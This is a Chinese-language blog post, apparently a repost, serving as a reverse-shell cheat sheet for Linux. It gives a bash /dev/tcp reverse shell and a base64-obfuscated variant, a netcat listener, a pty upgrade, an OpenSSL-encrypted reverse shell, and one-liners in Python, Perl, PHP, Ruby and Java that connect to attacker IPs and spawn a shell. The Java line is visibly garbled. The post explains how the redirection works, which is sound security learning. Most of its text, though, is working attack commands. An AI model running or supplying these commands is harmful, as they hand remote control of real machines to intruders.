前言
當我們可以在
遠程Linux主機上執行任意命令或寫入任意的資料到任意的檔案的時候
通常會通過反彈一個shell來控制遠程主機
bash 反彈shell
Linux反彈shell使用這條命令,但反彈回來的shell是不可互動的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也可以{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}
客戶端用
netcat進行接收
nc -lvvp 2333監聽2333埠
使用什么樣的用戶反彈的shell,就是當前用戶的權限(只有擁有/bin/bash 的用戶才能夠使用該命令)
命令原理
首先 bash -i 是打開一個互動式的bash終端
/dev/tcp/ 是linux的一個特殊設備,打開這個檔案就相當于發出了一個socket呼叫,建立一個socket連接,讀寫這個檔案就相當于在這個socket連接中傳輸資料,同理,Linux中還存在/dev/udp/,
那么>& 和 0>&1 又是什么意思呢?
首先我們了解一下Linux檔案描述符和重定向,
linux shell下常用的檔案描述符是:
標準輸入(stdin) :代碼為 0 ,使用 < 或 <<
標準輸出(stdout):代碼為 1 ,使用 > 或 >>
標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>
然后發現 >& 和 &> 兩者一個意思,都是將標準錯誤輸出合并到標準輸出中,
如果我們執行一個命令,比如 ls -lh > test ,這樣的話,test檔案中只會保存我們執行這個命令正常的輸出結果
而如果我們執行命令 ls -lh >& test 或者 ls -lh &> test ,這樣的話,test檔案中既會保存我們執行這個命令正常的結果,也會保存我們執行這個命令出錯了的結果,
所以,當我們執行命令:bash -i >& /dev/tcp/10.10.10.134/2333 時,他會與10.10.10.134/2333號埠建立一個socket連接,把bash的標準輸出和標準錯誤輸出發給10.10.10.134/2333,也就是獲得了他的shell,但是10.10.10.134卻不能進行操作,
同理0>&1 和 0<&1 也是一個意思,都是將標準輸入重定向到標準輸出中,所以加入 0>&1 的話,就可以接受用戶的輸入了,
所以,結合上面的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 命令是意思是:與10.10.10.134/2333埠建立一個socket連接,把bash的標準輸出和標準錯誤輸出發給10.10.10.134/2333,并且可以接受輸入,也就是可以進行互動式操作
但是更多時候獲得的shell并不是一個具有完整的互動shell
如果目標的主機有python環境,我們在獲得反彈shell后,可以執行這個命令得到一個正常可互動的shell
python -c 'import pty;pty.spawn("/bin/bash")'
加密bash反彈shell
在攻擊機上生成SSL證書的公鑰私鑰對,一路回車
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
然后用
openssl監聽反彈shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
目標機用openssl加密反彈shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s
其他反彈shell
同樣是只有擁有/bin/bash的用戶才能使用,使用什么樣的用戶反彈什么權限
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’
Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
PHP
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i <&3>&3 2>&3");’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298056.html
標籤:其他
上一篇:告訴你,初學網路安全應該怎樣去學呢?安排的明明白白的
下一篇:僵尸行程的一點玩法




